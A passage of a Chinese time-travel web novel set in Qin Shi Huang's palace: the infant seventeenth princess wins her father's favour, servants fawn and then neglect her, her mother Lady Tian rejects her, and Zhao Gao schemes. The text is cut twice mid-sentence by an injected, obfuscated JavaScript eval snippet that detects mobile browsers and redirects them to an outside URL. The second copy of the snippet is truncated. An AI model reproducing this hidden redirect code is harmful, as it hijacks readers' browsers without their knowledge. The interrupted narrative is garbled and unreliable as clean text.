一旁的赵高见始皇帝抱着十七公主就不肯撒手,大有再与小闺女好生亲近一会儿的架势,他心中暗道,国君偏爱长子,父母却更疼爱幼子幼女,这话果然不假。 先前十八公子胡亥仗着年纪小,敢在始皇帝面前卖痴,得了始皇帝几分疼爱。眼下有个比他更小、比他更可爱、比他更会撒娇的孩子出现在始皇帝面前,可不就一下子将他比下去了么? 十八公子已快十岁,有些举动,小公主好做,十八公子却不好再做了。看样子,十八公子想要固宠,还得在别的方面多下一些功夫。 赵高受始皇帝看重,做了十八公子胡亥的法律老师,自然一心为胡亥筹谋。 他只盼着胡亥能够争气些,能够长长久久得始皇帝欢心。他与长公子扶苏关系不睦,他能感觉到,长公子瞧不上他,十八公子胡亥算是他为自己留的一条后路。 赵高心中打着小九九,面儿上半点也没有显露出来。 他掐着时间上前提醒道:“陛下,待会儿蒙将军要来找您商议要事,您看……” 国事总是不能轻易耽搁的。 始皇帝不舍地将常欢交还到萤的怀中,嘱咐了她一句“好生照顾小公主,朕得了空再来看她”便离开了。 他见常欢似乎有些乏了,还让萤抱着常欢坐他的车架回宫。 这虽然不合规矩,但在咸阳宫中,始皇帝就是规矩。他要偏疼哪个子女,无人敢置喙。 车架内,萤抱着常欢,脸上是遮掩不住的笑容:“小公主,咱们可算是熬出头了。有了陛下的看重,往后啊,看谁还敢怠慢您!” 先前少府那边为公子公主们置办的东西,总是别人挑完,剩下的才轮得到常欢。公子公主们年龄差距不小,被挑剩下的许多东西,并不适合常欢。 萤虽然替常欢委屈,可田夫人这个生母都不为常欢出头,萤一个奴婢也不好开口说什么。 现在可好了,公主得了始皇帝的喜欢,不说能凭这点宠爱得到多少优待吧,至少能拿到她应得的那一份儿。 萤私心里还有一个想头:说不准儿田夫人见始皇帝喜欢这个闺女,会比从前看重她几分呢?哪怕就是做个样子也好啊!天知道,小公主问起生母在哪儿时,她有多揪心。 不过,这也只是她私心里的一个想头,田夫人向来固执,打定了主意就不会轻易改变,她怕是未必会因为始皇帝的看重,改变她对小公主的态度。 3. 第 3 章 萤带着常欢回到了宜春宫的偏殿中,果然引来了众人的围观。 宜春宫坐落于咸阳的东南角,地理位置偏僻,距离始皇帝所在的章台宫相当远。被打发到宜春宫居住的,多是些不受重视的人,包括妃嫔,包括下人。 始皇帝平日里鲜少驾临宜春宫,宜春宫的人骤然看到始皇帝的车架,都不敢置信地举起袖子擦了擦自己的眼睛。 直到他们确认这真的是始皇帝的车驾,直到他们亲眼看到宫女萤抱着十七公主从车驾上下来,他们这才收起心中的惊讶,凑上前去,面儿上堆满了笑容,一时要搀扶萤,一时要帮萤抱一会儿小公主。 萤看着这些人热络的态度,听着这些人一声声的打探,心中暗道,从前她在这宫中就是个透明人,就连小公主也不受重视,如今她被人这么前呼后拥着,竟也像个不得了的人物了。可见这得势与不得势,差距何等大。 也难怪这宫中的人,个个都削尖了脑袋想要往上爬。但凡能得了上头人一二分的青眼,都够他们这些底下的人过得舒舒服服体体面面的了。 萤虽然看不惯有些人对小公主前倨后恭,到底没有将这一切露在面儿上。 这样的人实在太多了,她若要一个个追究,也追究不过来。况且即便能追究过来,又有什么意思呢? 与其跟一些不相干的人纠缠,倒不如盘算着怎么把自个儿的日子给过好。 这周边儿的人许久未见过始皇帝,突然听闻始皇帝驾临宜春宫,一个个都忙不迭地凑过来打探始皇帝的消息,看看自己能不能从中寻到一些机遇。 面对这些人的打探,萤烦不胜烦,只道:“陛下方才见了公主,很是高兴,逗弄了公主许久。公主现在累了,你们且安静些,若是叨扰了公主,小心陛下怪罪!” “这么说,陛下是为了公主而来?”有人仗着萤脾气好,追在萤身后不依不饶地问道。 萤狠狠瞪了那人一眼:“陛下的意图岂是你我能随意揣测的?叫人听见了,你不怕遭祸,我还怕遭祸呢!再者,陛下都担心公主累着了,这才特许我抱着公主坐御辇回来。你们倒是胆子大,为着自己的那些个小心思一直在公主耳边喋喋不休。待会儿公主被吵醒了,哭闹起来,你们小心上头人责罚!” 众人这才住了嘴,由着萤抱着十七公主消失在殿门内。 不多时,外头又来了一队人,抬了许多小衣裳、小玩具过来,又有金银玉饰等物,以及适合十七公主用的一些器物。有人数了数,拢共十抬东西,都是始皇帝赐给小公主的。每一抬都是用上好的箱子装的,分量十足。 别看宜春宫中的人方才围着萤喋喋不休,面对始皇帝派来的人,他们可就不敢多嘴了。众人皆知,始皇帝御下颇严,他们怕说错了什么做错了什么,挨了始皇帝的罚。 等始皇帝派来的人离开了,才有宫人在墙角小声嘀咕道:“没想到,陛下竟这样看重小公主。这宜春宫中……怕是要变天了。” 本来么,他们宜春宫说好听了是咸阳宫的一份子,说不好听了就是咸阳城中的一座离宫,与那兰池宫、望夷宫、雍门宫①等宫殿一样,都是冷门宫殿。 这些个冷门宫殿,始皇帝一年到头也不见得能过来几次。前儿始皇帝一时兴起,准备去兰池宫看看,结果路上遇到了刺客②,到现在还没有抓到人呢。自打那件事之后,他就更不爱往这些偏僻的地方走了。 兰池宫好歹偶尔还被帝王惦记一下,宜春宫的待遇甚至还不如兰池宫呢。上一回帝王踏足宜春宫,已经是两年前的事了。 少府送东西总是先往章台宫送,而后是章台宫附近的宫殿,最后才往宜春宫送。此处不仅地理位置偏,在贵人心中的位置也偏。 但凡有些门路的宫人,早想办法调走了——纵使不能调去皇帝所在的章台宫,若能调去距离章台宫较近的兴乐宫、甘泉宫③也是好的。 许多得宠的夫人或者公子公主,就住在兴乐宫和甘泉宫中。 在那些贵人云集的宫殿做活,总比在宜春宫这等没人踏足的地方干耗着强多了。日常吃穿用度比冷门宫殿强不说,要是走了大运入了贵人的眼,可就飞黄腾达了。 这会儿,宜春宫中的宫人们虽然不知道为何始皇帝突然驾临此地,可始皇帝既然这样看重小公主,想来用不了多久,就会将小公主安置到兴乐宫或者甘泉宫去了吧?也不知道他们这些被遗忘的人有没有机会沾一沾小公主的光,一块儿被调走。 宜春宫的宫人们刚兴奋了一阵儿,忽然想起小公主十分年幼,连话都说不利索,他们该如何沾上小公主的光呢?恐怕小公主连他们谁是谁都分不清吧? 一些人把主意打到了小公主的生母田夫人头上。 田夫人虽然生得美貌非常,却对始皇帝心怀怨望,因而失宠了。如若不然,她也不能被打发到这冷宫似的地方来。 这回,小公主入了始皇帝的眼,说不准田夫人也能借着女儿的光,一起被接回甘泉宫去。 他们这些下人若是能够讨得田夫人欢心,指不定就能跟着田夫人一起离开这没有人气儿的地方! 底下的人打着这样的主意,往田夫人跟前凑的频率高了不少,田夫人吩咐下来的事儿,几乎都被他们抢着给办了。平日里就是田夫人无事,他们也时常在门前候着,等着田夫人的宣召。 宫中的下人们争着在田夫人面前露脸,对田夫人殷勤至极,这下子,烦不胜烦的变成了田夫人。 送走一波前来献殷勤的人后,田芸对身边儿的宫女贝吩咐:“就说我准备为大父和父亲祈福,需要清净。这些日子,宫中之人若无要事,不许来烦我,否则见一次罚一次!” 贝问:“那,来的若是小公主那边儿的人呢?” “也不许萤再过来。”田芸面无表情地道:“当初我将她给了那冤孽,她便只管好生伺候那冤孽就是,不必再惦记我这旧主。” 她对常欢不上心,当初生下这女儿,随手打发了身边儿一个宫女过去伺候。 如今,这女儿身边也只有一个乳母,一个萤,还有一个负责洒扫的小丫头。平日里也就只有萤偶尔会过来,要是过来的是乳母,可见不着田芸的面。 贝听到田芸称呼小公主为“冤孽”,不由跺了跺脚:“您这又是何必?齐王和太子都过世小两年了,您该往前看才是。您如今是始皇帝的夫人,后半辈子都要陷在这宫里。您要是一直跟始皇帝置气,吃亏的还是您自己啊!正好这次小公主入了始皇帝的眼,您何不借此机会离开这座宜春宫,再图将来?” “谁有功夫跟‘那位’置气?我不过是跟他桥归桥,路归路罢了。如今,我这日子过得很清静,这样就很好。出去做什么?出去给自己找不痛快么?” 田芸冷笑一声:“始皇帝自有他的无上荣光,我不稀罕他的那点恩宠!也不稀罕他给的荣华富贵!” 当初,若不是为了祖父和父亲,她又何必入宫侍奉秦王政? 如今,她的祖父和父亲没了,齐国也没了,她还有什么讨好始皇帝的必要?她还有什么将来?既然她已经没了盼头,她自然是怎么高兴怎么来! 要是有一日始皇帝对她忍无可忍,大不了叫她和她的父兄一块儿上路!他都杀了那么多人了,还会在乎多她一个吗? “那小公主呢?您就算不为自个儿考虑,也该为小公主考虑考虑啊!就算您不喜欢她,她也是您身上掉下来的一块肉!” 贝又道:“小公主天长日久地住在这里,连始皇帝的面都见不上,将来又能有什么好前程?公主又不像公子可以入朝为官,公主若不得父亲看重,日后只怕随便一副嫁妆就被打发出去了!” “那又如何?她父亲都不心疼她,我心疼个什么劲儿?有谁规定做母亲的便必须疼爱自己身上掉下来的那块肉?” 田芸的一句话,把贝给问住了:“您……您……大家伙儿都……” “大家伙儿都认同的事,就一定是对的么?”田芸面上依旧是冰冷的嘲讽:“我心中如今只余仇恨,我瞧着水中自己的倒影都觉得面目可憎,又哪来的爱可以给她?” 贝一时没了声儿,田芸明明说着绝情的话,可她分明从田芸的面上看出了一丝苍凉,这让贝不知该如何是好。 贝虽然是田芸的心腹宫女,许多时候,她能通过察言观色了解田芸的心情,但了解归了解,她并不能完全理解这种情绪。田芸因国破家亡而痛苦,因失去至亲而绝望,可在更早之前,贝就因为一场大--饥--荒失去了她全部的家人。她就是想安慰田芸,也无从下手。如今,贝在这世上的牵挂,也就田芸一人了。 过了一会儿,贝听田芸又道:“她生父现在不是很看重她么?要是她生父愿意,只管接她出去,我不会插手,亦不会过问。” “要是始皇帝打算将小公主挪出去,您……您不跟小公主一起出去么?”贝小心翼翼地道。 田芸一脸漠然:“那是他的女儿,与我有什么关系?” “小公主不仅是始皇帝的女儿,也是您的女儿啊……萤姊姊说,小公主最近已经学会好多话了,她曾问过萤姊姊,她的阿母在哪里……” 田芸这副对万事都不上心的模样,实在让贝觉得无奈,贝只盼着小公主能唤起田夫人作为母亲的一丝柔肠:“小公主还是很挂念您的……” 田芸目光微微一动,很快又恢复了平静:“她不是我的女儿,她是我仇人的女儿!如果当初我有的选,我一定不会生下她!摊上我这么个生身母亲,只能说她投胎的时候没有擦亮眼睛!我说她是‘冤孽’,原也没有说错!我当初就不该入秦,她也不该出生!” 说完,田芸又闭上了眼睛,摆出拒绝交流的姿态。 贝见状,深深叹了口气。 在她看来,就算田夫人恨始皇帝背信弃义,非但没有让齐王建和齐太子过上富足的生活,反而还把他们逼上了绝路,可小公主是无辜的。自家夫人这怨气,不该撒到小公主的身上。 她实在拿田夫人没辙了,好话歹话都说尽了,也不见田夫人听进去只言片语,她一个下人能怎么办呢? 既然自家夫人不肯认小公主,她作为夫人的婢女,少不得也只能狠下心来不认这个小主子了。 田夫人心结未解,油盐不进,贝知道,自己接下来要继续陪着田夫人过被人遗忘的日子。 其实,被遗忘也不见得是什么坏事。 贝还巴不得自家夫人离始皇帝远远的,免得她在始皇帝面前言语无状,惹恼了对方。到时候,始皇帝一道旨意下来,彻底让自家夫人没了活路,那可如何是好? “我是打定了主意要过自个儿的清净日子,但你没必要年纪轻轻就跟我似的!”田芸打量着贝年轻的面容:“你如今正是好时候,你要是想调去别的宫,或者想出宫,就跟我说一声。我们好歹主仆一场,我自会为你筹谋。” 贝赶忙摇头:“夫人这是说的什么话?您在哪里,奴婢就在哪里!奴婢是您当初从街上救下来的,奴婢一个卑贱之人,跟着您过了这么些年的好日子,还有什么不知足呢?即便如今的日子拮据些,也比奴婢遇见您之前的日子好太多了!况且这偌大咸阳城,奴婢也只认得您。离了您,奴婢又能去哪儿呢? 田芸握紧了贝的手,不再说话。 …… 常欢并不知道田夫人和身边的侍女还有这样一通对话。 她发现,自打她见过便宜爹一次之后,她在宫中的待遇是直线上升。 不仅吃穿用度好了许多,就连身边侍奉的人也一下子就多了好多。前些时候,常欢身边冷清到她都觉得自己不像个公主。这会儿,她倒是有几分众星拱月那意思了。 看来,在宫中生活,就得时不时刷一下BOSS,才有好日子过呀! 常欢感慨了一声,很快就发现成为众人瞩目的焦点,有好处也有弊端。 从前她不受重视,服侍她的人少。她经常在自己的寝殿内东走走,西转转,好不自在。 可现在呢?一群人围在她边儿上,就等着她快要摔倒的时候上前捞个“保护公主”的功劳! 被人每天这样盯着,常欢觉得自己简直像是在坐牢。而且,她如今还是个小孩子,睡觉的时间长。有这样一群人绞尽脑汁往她身边儿凑,她连觉都睡不好了。 萤在发现这一情况后,不客气地将大部分人都给撵走了,只留下一两个做事麻利又知道进退的小宫女,给她打下手。 借着萤的手将闲杂人等撵走之后,常欢总算是松了口气。 “众星拱月”的福分,看来也不是每个人都能消受得起的呀! 常欢拉着萤的手,心有余悸地对她说:“不,不许,他们,再,进来!” 萤看着常欢一张小脸皱成一团,看起来精神有些萎靡,不由心疼地道:“您放心吧,那些不知分寸的人,奴婢是绝对不会再让他们靠近您的!” 常欢的生活渐渐恢复了始皇帝来之前的状态。不过,一切到底还是跟从前有些不同了。 始皇帝人虽然走了,他留下的东西可还在呢。 除了每天的“外语”时间之外,常欢把其他精力放在了翻箱子上。 也不知是不是受了身体的影响,常欢觉得,自己的思维也变得幼稚起来。 她现在每天最喜欢做的事,就是打开箱子数一数自己的“宝藏”。 她穿越的这个年代,应该比较久远。因为她在便宜爹赐下的众多器物中,发现了不止一件青铜器。 难怪她在房间中没有看到桌椅,原来是现在还没有啊!常欢恍然大悟。 就连便宜爹赐下的一些玉器,看起来也十分古朴,完全不像后世经过雕琢和打磨的玉器看起来那样通透漂亮。 萤要是不告诉常欢那是玉,只怕常欢还要以为那是一块石头呢。 常欢只郁闷了一小会儿,就被萤给哄好了。萤告诉她,这些东西都是用最好的料子制作而成的,十分名贵,十分值钱! 常欢顿时就不嫌弃这些宝贝不够精美了。她抱着这些宝贝心想,越是古早的文物就越是难得。她现在拥有的这些东西如果流传到后世,不知道得卖出什么样的高价来! 她便宜爹出手可真大方啊,她才哄了他一回,居然就得了这么多好东西,以后她再也不叫他便宜爹了。决定了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105643|195796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新绰号就叫富贵爹吧! 希望她这富贵爹一直出手阔绰,不要抠门。 这般想着,常欢枕在她那堆“宝贝”上,进入了梦乡。 萤见了这一幕,又好气又好笑,弯下腰将常欢抱回了她的小床上。 她都跟小公主重复了多少遍了,不可以枕着这些东西睡觉,小公主怎么就是不听呢? 哎,也不知道小公主这举动都是跟谁学来的,明明以前她不是这样的啊。 …… 常欢很是过了一阵众星捧月的日子。 不过,也不知道她爹是不是三分钟热度。总之,自打她爹派人给她送了一次东西之后,就没再派人来过,也没流露出要把她接走的意思。 半个月过去了,常欢每天该吃吃,该睡睡,一点儿也没有惦记她那个便宜……啊不,富贵爹的意思。 日子又不是过不下去,何必着急嘛!就算她爹是个反复无常的君王,今儿稀罕她,明儿就给抛到脑后,那也无所谓。她从来没指望过他的父爱,她情绪稳定得很! 富贵爹要是来了,她就跟他撒撒娇卖卖萌,从他身上再抠点儿好处下来。万一以后富贵爹要卖女儿换和平(和亲),或者富贵爹不把女儿当人,她也好变卖了手头的东西跑路,她手头的钱财肯定是多多益善! 富贵爹要是不来常欢这儿,她也乐得自在。每回富贵爹一来就前呼后拥的,排场大得不得了。对于常欢来说,他的到来其实还挺“扰民”的。 瞧瞧他偶然来上一回,把宫里的人给激动成啥样了?他人都走了那么久了,留下的影响还在呢! 常欢不着急,她身边儿的人,一个个都急得不得了。 “陛下之前看起来那么宠爱小公主,东西一箱箱地往宫里送,还亲自为小公主赐名,这可真是别的公子公主们都不曾有过的待遇啊!他对小公主这么上心,怎么能说将小公主抛到脑后就将小公主抛到脑后了呢?” “听说最近,长公子扶苏又向陛下进言,惹恼了陛下,让陛下大发雷霆……好在有十八公子胡亥在一边儿插科打诨,陛下的心情这才好了不少。” “这么说,就是因为两位公子,陛下彻底将十七公主忘到脑后了?” “哎,要是有人在陛下身边提点着,陛下还不至于彻底忘了十七公主,可咱们在陛下那儿没人……陛下身边那些人,一个个都是不见兔子不撒鹰的,他们哪里指望得上?” 常欢听人在她耳边叽里咕噜说了一堆,一边说着话,一边还用怜悯的目光看着她,顿时给她整不会了。 不就是富贵爹最近没怎么来看她吗?她从前不也是这么过来的,有什么好大惊小怪的! 这些人也实在是闲得无聊,要不然为啥天天盯着皇帝来不来呢?离了他,这日子难道还不过了? 常欢懒洋洋地翻了个身,记住了“长公子扶苏”和“十八公子胡亥”的发音。 这两个人名也算是她最近听到的“高频词”了,只是她总没办法把具体的人和这两个名词对上。 她大致听出来,这俩人是她皇帝爹的儿子,她皇帝爹把他们俩看得比她重要得多。不过,她又不想跟他们争宠,何必在意这些呢? 常欢见外头日头正好,懒洋洋地翻了个身,决定再睡一会儿。她一个小孩子家家,就该好好躺平,她为什么要为难自己? 等她睡饱了,才有精力继续跟萤学习“单词”! 不多时,常欢就进入了梦乡。这会儿,她还不知道,身在章台宫的始皇帝正跟身边的赵高说起她呢。 “宜春宫那边最近可有消息传来?那小丫头得了朕的赏赐,高不高兴?” “听说,十七公主十分喜欢您赐下去的东西,晚上都要枕着那些东西睡觉呢。” 赵高一边回答着始皇帝,一边在心中暗骂胡亥没用。始皇帝都多少天没有见十七公主了,胡亥还不能拢住始皇帝的心,让始皇帝彻底忘了那个丫头的存在。 回头,始皇帝将人接回来,哪里还有胡亥什么事? 读书比不过别的公子,能耐比不过别的公子,就连争宠也争不过一个年幼的小公主,真是烂泥扶不上墙。 要不是赵高轻易接触不到别的公子公主,他是真想给自己换个弟子。 赵高心里把胡亥骂了一顿,终于爽快了。 这时,他听始皇帝说道:“那丫头是没见过真正的好东西,才拿朕赐给她的那些东西当宝!待朕将她接回章台宫,也让她好生长长见识!” “陛下,您要将十七公主接回章台宫?”赵高吃了一惊。 就算是受宠如胡亥,也是居住在隔壁的兴乐宫,等他年纪再大一些,就要自个儿出宫建府了。 始皇帝不喜欢孩童吵闹,只在心情烦躁的时候,将胡亥叫去逗逗乐。如今胡亥还是个半大孩子,始皇帝看他在眼前撒撒痴,也觉得松快。 胡亥虽不聪明,可憨傻也有憨傻的好处。始皇帝身边儿不缺聪明人,他每日与朝中那些个人精勾心斗角、你来我往,闲暇下来,可不就需要有个心思简单的人给他解闷么? 胡亥向来胆子大,不像其余几个公子公主一般惧怕始皇帝,自然得了始皇帝几分喜爱。又有赵高在始皇帝耳边时不时提他两句,胡亥自然成了这宫中最受宠爱的公子。其余公子公主,与胡亥相比,总是差了一线。 赵高本以为,始皇帝的子女缘就应在胡亥身上了。他万万没有想到,半路杀出个十七公主来。 这十七公主不过与始皇帝偶然见了一面,相处时间也没多久,可始皇帝这几日总把她挂在嘴边。赵高揣摩始皇帝心意,问要不要把十七公主从偏远的宜春宫中接出来,另外给十七公主选一处好宫殿,始皇帝却总说“不急,且再看看”。 赵高虽然心中纳闷儿,到底也不好再问。 没想到,这个“再看看”,居然直接让十七公主入住章台宫了! 赵高想,既然始皇帝看重十七公主,他也跟着看重十七公主好了。 他私心里虽然希望胡亥能争气些,一直把着始皇帝的宠爱,可他到底没把胡亥看得有多重要。 胡亥只是他为自己留的后手罢了。为了替胡亥争宠,违逆始皇帝的心意,不值当。 “陛下爱重公主,自然是一件好事。只是……”赵高堆叠起笑容,向始皇帝请示道:“公主的生母要不要一起挪过来?之前,章台宫还没入住过哪位夫人呢。” “朕这段时间迟迟没有动静,就是在考虑到底是将她们母女接来甘泉宫好,还是单独将她接来章台宫好。现在,朕总算是有论断了……” 始皇帝目光一冷:“有些人简直不配为母!既然田氏不知道反省自己的过错,不愿意好生照顾小常欢,那就让她自个儿在宜春宫中待着吧!即便没有她这个生母,朕的公主,朕也会好好抚养长大!” 他对常欢本就有几分慈父心肠,在得知常欢不受生母待见后,他更不可能将这个小闺女撂开手去。 赵高看着始皇帝的态度,知道事情已经没有回旋的余地。他应了一声,心中盘算着十七公主这样年幼,又离了生母,等她被接来,他得想法子与她多亲近亲近。 4. 第 4 章 咸阳的天,渐渐凉了下来,先前还是仲秋呢,这会儿已经进入季秋了,再过一些日子,就要入冬了。 始皇帝驾临留下的最后一丝热络劲儿,仿佛也随着这骤降的温度一并冷了下来。 常欢和萤重新回到了无人问津的状态,仿佛先前的门庭若市只是她们的错觉。 “什么人哪,这脸变得可真快!”萤回来就跟常欢小声嘀咕道:“难怪公主不喜欢他们围在身边,瞧瞧他们,有哪一个是真心的?哪怕是做做样子,好歹也装得久一些呢!” 常欢一听这话就知道,萤肯定是在外头受了旁人的怠慢。 “他,他们,欺负萤?”常欢说着,义愤填膺地举起了小拳头:“我,给萤,出气!” 萤顿时就被常欢这副举动给逗笑了:“您这么点大个人,打算如何为奴婢出气啊?” 常欢耳尖地捕捉到“如何”二字,顿时自信地拍了拍胸脯:“我,公主!他们,惹哭我,受罚!” 说着,常欢看向萤的目光就变得有些雾蒙蒙的。 也不知这是不是她与生俱来的天赋,总之,她这眼泪是说来就来。 萤收起了面上带着几分玩笑意味的笑容,心中一片柔软。 公主虽然年幼,却知道谁对她是真心的,谁对她好,她便也对谁好。公主这样待她,她怎能不对公主更好一些呢? 萤摇了摇头:“您不必为奴婢做这种事,您是公主,若让您为了奴婢而哭,那就是奴婢的罪过了。您放心,奴婢也是有些脾气的。外头那些人,知道奴婢是负责伺候您的,对奴婢并不敢很出格。” 尽管萤知道自己的话小公主怕是有大半都听不懂,但她还是认认真真向小公主解释了。 小公主这样体贴她,她自然也要对小公主多一些耐心,不可以因为公主年纪小就随意敷衍她。 “不,不生气?”常欢扒拉着萤的胳膊问道。 “不生气。”萤摇了摇头。就算刚才还有些生气,现在看着常欢这般关心自己,她哪里还气得起来? 萤觉得,自家公主虽然只有丁点大,却很会心疼人,叫人十分暖心。难怪始皇陛下见了公主,对公主喜欢得不得了。 可惜始皇帝事务繁忙,他才与公主相处过一回,就把公主抛在了脑后。否则,公主也不必继续在宜春宫跟那些拜高踩低的人相处了。 子女一多,分到每个人身上的关注就只有那么稀薄的一点。十七公主与田夫人又住在这样偏远的离宫中,等闲见不到始皇陛下,也难怪她们会被始皇陛下遗忘。 萤刚为常欢叹息了一声,就见常欢扒拉着自己的大腿,仰着脑袋往自己手里看。 “您还真是对什么都好奇啊!”萤笑着道。 每回萤一拿了什么东西进来,不管常欢在做什么,都要凑到她身边看一眼,萤对此已经见怪不怪了。 “香~”常欢抽了抽鼻头,一脸渴望地看着萤:“给,给我的吗?” 要不是萤进殿的时候脸色不大好,分散了常欢的注意力,常欢早就惦记上她手里的东西了。 常欢现在的食谱单调得很,每天来来回回就是那么几样,她实在是馋啊! 每天除了在宫殿中“探险”、数数她的宝藏之外,常欢最惦记的就是嘴里这口吃食! 常欢渐渐长大了,能吃的辅食种类也变多了。这些日子,萤时常拿肉羹、米羹、鱼羹和蛋羹哄常欢高兴。 萤自然是花足了心思来满足常欢的味蕾,只是常欢显然不知道什么叫做知足。 事实上,吃过各式各样美食的常欢也很难知足。她之前还试图跟萤沟通,让萤帮忙带点儿土豆泥、红薯泥啥的进来给她吃。不过,在她发现自己正处于青铜器时代的时候,她就知道多半没戏了——红薯和土豆都是明朝时期才传入中国的,青铜器时代,好多作物华夏都还没有呢。 除非常欢穿的是个自带金手指的架空朝代,不然,她就只有在梦里对着那些美食流口水了。 一想到这儿,常欢就有些郁闷。对于一个吃货来说,穿越到“美食荒漠”的时代是一件多么折磨人的事啊!也只能等她稍微长大一些,看看能不能派遣商队和船队从陆上丝绸之路和海上丝绸之路带一些美味又高产的作物回来。 她年纪太小,想要做什么事都得依靠别人,真是烦人! 就在常欢想入非非之际,她感到自己的脑袋被谁轻轻拍了拍,充满笑意的声音从上方传来。 “您在想什么呢?怎么还走起神来了?” “想吃的!”常欢飞快地回答道。 “您是惦记奴婢手里的这碗小米羹么?这碗小米羹,自然是专程为您准备的,可奴婢却不能给您吃。” 常欢听到“不能吃”,有些郁闷地瞅着萤:“为,为什么啊?” “要不是为了这碗小米羹,奴婢也不至于跟那些人生闷气。”萤将手中的小米羹摆到常欢面前:“您瞧瞧,这小米羹都熬泄了,是您能吃的东西吗?” 常欢凑到米羹面前,果然闻到了一点点糊味。 她虽然有那么一点点嫌弃,不过她觉得,这玩意儿还勉强能吃吧,总比天天喝奶强。 她早在几个月大的时候就已经不喝人乳了。没办法,作为一个假小孩,她实在觉得别扭得慌。好在她头上没有长辈管着,也没人敢给她强灌人乳。萤在发现怎么都没有办法哄她喝下人乳之后,便设法用羊乳替代了人物,每日端来喂给常欢喝。常欢对此感到很满意,要是能有牛乳就更好了。 常欢曾经试图向萤传达自己想要喝牛乳的意思,却被萤断然拒绝了,萤告诉她,他们这里养的牛大多是耕牛,没有牛乳可以喝。草原上的游牧民族倒是喝牛乳,不过那玩意儿腥得很,有些人喝了还会闹肚子。他们这儿的人在尝试过一次之后,就绝对不会尝试第二次。 常欢听了这话,也只能默默叹气。 这不能吃,那不能喝的,她有什么办法呢?她也只能捧着自己的小碗默默流泪了。 “吃!”常欢眼巴巴地瞅着萤,想要让她给自己喂点儿米羹。 她自己喝米羹,其实也可以,但宫中惯用的勺有点重,她还拿不太稳。她不想喝个米羹,把汤汤水水弄得到处都是,只能向萤求助。 “您不能吃这个。奴婢给您带了些羊乳回来,您就喝些羊乳吧。”萤温柔地道:“奴婢拿这碗米羹回来给您看,只是想让您明白,奴婢没有对您食言,是厨房中的那些人不上心。” “可以吃!可以吃的!”常欢喝腻了羊乳,正想换个口味呢,一听萤说不许她吃,顿时就急了。 有一点点糊味怕什么呢?她是真的不嫌弃啊! 可惜她这么想,萤却不这么想。下一刻,她就眼睁睁看着那碗小米羹被萤给端走了。 “您真不能吃这个,吃坏了肚子可不是闹着玩儿的!您要是实在想吃米羹,奴婢就出去吩咐一声,让厨房重新为您做一份。不过,他们对您的事这样不上心,就算让他们再做一份,指不定也会出现其他问题。” 说着,萤就叹了口气:“前些日子,咱们便是点名要鱼羹,厨房那些人也会仔细地将鲜嫩的鱼剃了刺儿送过来,还会主动给您端来鲜美的鱼汤,唯恐您吃得不舒服。可这两日,咱们要一碗米羹,他们便推三阻四的。便是不情不愿地做了,也一点儿都不用心。如今他们待咱们的态度,甚至还比不上陛下没来之前……” “陛下不过是大半月没来,那些人就跟换了一副面孔似的……这样沉不住气,难怪他们费尽心思也攀不上贵人的袍角!就他们这样的,又有谁能瞧得上?” 常欢这里伺候的人本来就少,能得到萤信任的就更少了。萤在外头憋了一肚子话,少不得要回来说给常欢听。 许是小公主早慧的缘故,许多事她并不想瞒着小公主。 小公主的处境不容乐观是事实,萤觉得,小公主若是对自身的处境有更加深入的认知,总没有坏处。 萤的这番话,常欢听得半懂不懂的。不过,她毕竟不是个真小孩,看看这碗有点熬糊了的米羹,再想想萤方才走进来时一脸愤懑的样子,她还有什么不明白的呢? 萤不是因为自己被欺负了而生气,她是因为常欢被人敷衍而生气。那些人恐怕不止对萤吩咐的差事不上心,跟萤说话的语气估计也不怎么好,否则,萤怎么会气成那样? 想明白这一点后,常欢反倒不气了。那群人起初一心想要讨好她,现在却对她这般怠慢,不过是觉得她讨不了皇帝爹喜欢,没有利用价值了。他们没能耐往外头使手段,也就只能把气撒在她一个一团稚气的小孩儿身上。 她虽然平时懒洋洋的,看起来万事不上心,那是因为没人专门针对她。要是有人想欺负她,那她可就不干了。她是想舒舒服服躺平,所以平时不愿与人多计较,可要是有人太过分了,她也绝不做受气包! 况且,婴幼儿身体娇弱得很,身边儿的人在吃食上这样怠慢她,日后难保不会给她带来隐患。 也不知道她这边闹出些动静来,能不能传入皇帝爹的耳中。 常欢正想着该怎么给那些人一个教训,却听到门外传来好大一阵动静。 她顿时疑惑地朝着门口望去,便看到一个熟悉的身影走了进来。 那人一身玄衣,身姿笔挺,在一群人之间鹤立鸡群。 他一步步靠近,隔绝了常欢面前的所有光线,瞧着就如同一座巍峨高山一般。 这样的排场,这样的气场…… “阿父?是,是,阿父?” 常欢努力地仰起脑袋想要看清来人的脸,谁知一个不小心失去了重心,像只团子一样咕噜噜滚到了地上。 好在萤细心地在她寝殿的地上铺了一层厚厚的毯子,否则,她这下可要摔得不轻了。 “这么些天过去了,你还记得朕,不错。不过,你怎么这样毛毛躁躁的?” 她听到一阵熟悉的声音在耳边响起。 下一刻,她就被人抱了起来。 始皇帝拍了拍她身上的灰,然后将她抱入了怀中。他的身上有一股芳草的清香,还怪好闻的。 常欢趴在始皇帝的肩头嗅了嗅,这才想起上次,她也在她爹身上闻到了这股味道。不过,那会儿是在室外,空气中还混杂着别的味道,她就没有太在意。 这回,在密闭的室内,这股芳草味儿愈发浓郁清晰。 常欢像寻宝一样在她爹身上找了一圈,终于在她爹腰间找到了一个盛放着香草兰木的荷包,也不知道是谁给她爹做的,这荷包缝得还怪别致的哩! 下一刻,她就被始皇帝一把摁住了。 “你在朕身上找什么?怎么跟只小狗似的嗅来嗅去?” “香,香!” “原来你是喜欢朕身上的味道么?”始皇帝随手从身上解下香囊,递给常欢:“如今许多人都将装了香兰和香木的荷包戴在身边。你要是喜欢,等你大些了,朕便命人给你也缝制一些这样的荷包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 